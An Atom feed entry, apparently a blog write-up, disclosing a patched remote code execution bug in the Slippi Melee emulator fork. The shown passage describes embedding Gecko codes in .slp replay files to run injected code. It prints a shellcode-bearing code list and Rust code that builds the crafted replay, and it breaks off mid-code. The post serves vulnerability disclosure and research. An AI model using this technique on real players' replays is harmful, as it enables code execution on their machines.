<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<title>Khang&#x27;s Stuff</title>
	<link href="https://khang06.github.io/atom.xml" rel="self" type="application/atom+xml"/>
	<link href="https://khang06.github.io"/>
	<generator uri="https://www.getzola.org/">Zola</generator>
	<updated>2026-04-09T00:00:00+00:00</updated>
	<id>https://khang06.github.io/atom.xml</id>
	<entry xml:lang="en">
		<title>Slipping up Slippi with spectator RCE</title>
		<published>2026-04-09T00:00:00+00:00</published>
		<updated>2026-04-09T00:00:00+00:00</updated>
		<link href="https://khang06.github.io/slippirce/"/>
		<link rel="alternate" href="https://khang06.github.io/slippirce/" type="text/html"/>
		<id>https://khang06.github.io/slippirce/</id>
		<content type="html">&lt;p&gt;&lt;em&gt;&lt;strong&gt;This vulnerability is patched in Slippi Playback Dolphin 3.5.2, released January 14th, 2026. The launcher automatically updates it.&lt;&#x2F;strong&gt;&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Super_Smash_Bros._Melee&quot;&gt;Super Smash Bros. Melee&lt;&#x2F;a&gt; is a very popular &lt;del&gt;party&lt;&#x2F;del&gt; fighting game for the Nintendo GameCube. Despite three other entries &lt;em&gt;(four if you&#x27;re weird and count Smash 4 as two games)&lt;&#x2F;em&gt; in the nearly 25 years since its release, Melee still enjoys a healthy competitive scene to this day due to its rushed development unintentionally leading to a fast-paced playstyle rarely seen in later, more casual-focused games. Major tournaments gather hundreds of players and sometimes even outnumber those playing the latest entry, Super Smash Bros. Ultimate!&lt;&#x2F;p&gt;
&lt;p&gt;Nowadays, most people want to play games with their friends over the internet, but since the GameCube was released when most people didn&#x27;t have broadband, online play didn&#x27;t exist for most of its library, including Melee. Of course, given that this is a game released on an old Nintendo console, it&#x27;s safe to assume the majority of its players aren&#x27;t playing exclusively on original hardware.&lt;&#x2F;p&gt;
&lt;p&gt;Instead, people play on Slippi.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;slippimenu.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;slippi.gg&quot;&gt;Slippi&lt;&#x2F;a&gt; is a Melee mod that deeply integrates with its own fork of the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;dolphin-emu.org&quot;&gt;Dolphin&lt;&#x2F;a&gt; GameCube&#x2F;Wii emulator to bring automatic matchmaking, modern &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Netcode#Rollback&quot;&gt;rollback netcode&lt;&#x2F;a&gt;, and other quality-of-life improvements to an otherwise ancient console-only game. It&#x27;s widely regarded as one of the main reasons Melee has maintained a consistent playerbase nowadays since it greatly lowers the barrier to entry for newcomers. Its netcode is also much, much better than the official online code in the later games &lt;em&gt;(if you&#x27;ve ever played Ultimate against someone on Wi-Fi, you know how it feels).&lt;&#x2F;em&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Naturally, I wondered the same thing I do with anything else that interacts with random people on the internet:&lt;&#x2F;p&gt;
&lt;p&gt;Is there anything to exploit here?&lt;&#x2F;p&gt;
&lt;h1 id=&quot;guest-code-execution&quot;&gt;Guest Code Execution&lt;a class=&quot;zola-anchor&quot; href=&quot;#guest-code-execution&quot; aria-label=&quot;Anchor link for: guest-code-execution&quot;&gt;&lt;i class=&quot;fas fa-link&quot;&gt;&lt;&#x2F;i&gt;&lt;&#x2F;a&gt; 
&lt;&#x2F;h1&gt;
&lt;p&gt;The first step toward any emulator escape shenanigans is getting my own code running inside the emulator in the first place. (Un)fortunately, I couldn&#x27;t find anything exploitable in the main matchmaking modes, so instead I took a look at Slippi&#x27;s replay system. The specification for Slippi&#x27;s &lt;code&gt;.slp&lt;&#x2F;code&gt; replay format is publicly documented and available &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;project-slippi&#x2F;slippi-wiki&#x2F;blob&#x2F;master&#x2F;SPEC.md&quot;&gt;here&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;One of the event types caught my eye:
&lt;img src=&quot;&#x2F;img&#x2F;slippirce&#x2F;geckolist.png&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;Gecko codes are cheat codes, much like Action Replay or Game Genie codes. Despite being &quot;cheat&quot; codes, Gecko codes also get used as a general-purpose way of modding GameCube and Wii games. Slippi is no different here, as almost all of the patches it applies to Melee are &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;project-slippi&#x2F;slippi-ssbm-asm&quot;&gt;applied as Gecko codes&lt;&#x2F;a&gt;. Slippi also lets you use your own Gecko codes online, provided that they either don&#x27;t change any gameplay mechanics or are also being used by your opponent &lt;em&gt;(as scary as letting people use their own mods sounds, there aren&#x27;t any random &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.youtube.com&#x2F;watch?v=5asTiS_FILQ&quot;&gt;Super Pichus&lt;&#x2F;a&gt; online since that would just lead to a desync)&lt;&#x2F;em&gt;. Storing Gecko codes in the replay file itself lets you play them back without needing to memorize what codes were used to record it, which is convenient for watching matches that used gameplay-altering codes.&lt;&#x2F;p&gt;
&lt;p&gt;Since Slippi happily loads any Gecko codes stored in a replay, running my own code from a replay file is fairly trivial because it&#x27;s basically just a feature. All I have to do is write some shellcode to a random spot in memory and write a branch to it somewhere in game code. Easy!&lt;&#x2F;p&gt;
&lt;p&gt;Writing a big Gecko code list manually is annoying, so I used the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;JLaferri&#x2F;gecko&quot;&gt;&lt;code&gt;gecko&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; tool that&#x27;s also used in Slippi&#x27;s build system. Also, instead of writing my exploit code as self-contained shellcode, I decided to be lazy and use FIX94&#x27;s &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;FIX94&#x2F;gc-exploit-common-loader&quot;&gt;gc-exploit-common-loader&lt;&#x2F;a&gt; to chain from being in the middle of game code to loading a normal &lt;code&gt;.dol&lt;&#x2F;code&gt; executable I hardcoded somewhere else in memory. This lets me run my exploit code on its own during testing, then just copy it over to the replay loader later.&lt;&#x2F;p&gt;
&lt;p&gt;This gives me one really, really long Gecko code list:&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;plain&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;$Entrypoint []&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;C216E750 00000007 #entry.S&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7C6000A6 5463045E&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7C600124 4C00012C&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3C208000 60213000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;38000000 9401FFC0&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;3C608000 60631800&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;7C6803A6 4E800020&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;60000000 00000000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;04001800 7C6000A6&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;04001804 5463045E&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;04001808 60632000&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;0400180C 7C600124&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;04001810 4C00012C&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;...&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Now, how exactly does this get written into the replay file? Unfortunately, the specification is a bit vague about how this gets formatted internally, so I had to do some poking around on my own. I used the &lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hohav&#x2F;peppi&quot;&gt;&lt;code&gt;peppi&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; library to read and write Slippi replays, but it also doesn&#x27;t fully parse the Gecko code section. Fortunately, the Gecko code event format is basically just a binary version of what&#x27;s normally in a Gecko code file, with the size aligned to 512 bytes.&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #E6E6E6; background-color: #222222;&quot;&gt;&lt;code data-lang=&quot;rust&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{fs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;File&lt;&#x2F;span&gt;&lt;span&gt;, io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;BufReader&lt;&#x2F;span&gt;&lt;span&gt;};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;use&lt;&#x2F;span&gt;&lt;span&gt; peppi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;{game&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt;GeckoCodes&lt;&#x2F;span&gt;&lt;span&gt;, io&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;slippi};&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #6A9955;&quot;&gt;&#x2F;&#x2F; Maybe it would be easier to use the GCT output here, idk&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;fn&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; convert_codes&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; -&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; GeckoCodes&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;fs&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;read_to_string&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;quot;..&#x2F;entry.txt&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt; vec!&lt;&#x2F;span&gt;&lt;span&gt;[];&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; file&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;lines&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;trim&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;starts_with&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;#39;$&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;            continue&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        let mut&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; line&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;split_once&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #CE9178;&quot;&gt;&amp;#39; &amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;() &amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 8&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;            (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; _&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;split_at&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;8&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;        }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_str_radix&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;        let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;from_str_radix&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;parts&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;1&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 16&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;unwrap&lt;&#x2F;span&gt;&lt;span&gt;();&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;extend_from_slice&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;first&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;to_be_bytes&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;extend_from_slice&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;second&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;to_be_bytes&lt;&#x2F;span&gt;&lt;span&gt;());&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;    bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;extend_from_slice&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;&amp;amp;&lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt;0xFF&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0x00&lt;&#x2F;span&gt;&lt;span&gt;]);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #C586C0;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 512&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; !=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;        bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;resize&lt;&#x2F;span&gt;&lt;span&gt;(((&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt;bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; &#x2F;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 512&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; +&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; *&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 512&lt;&#x2F;span&gt;&lt;span&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5CEA8;&quot;&gt; 0&lt;&#x2F;span&gt;&lt;span&gt;);&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt;    let&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; actual_size&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #9CDCFE;&quot;&gt; bytes&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D4D4D4;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #DCDCAA;&quot;&gt;len&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #569CD6;&quot;&gt; as&lt;&#x2F;span&gt;&lt;span style=&quot;color: #4EC9B0;&quot;&gt; u32&lt;&#x2F;span&gt;&lt;span&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
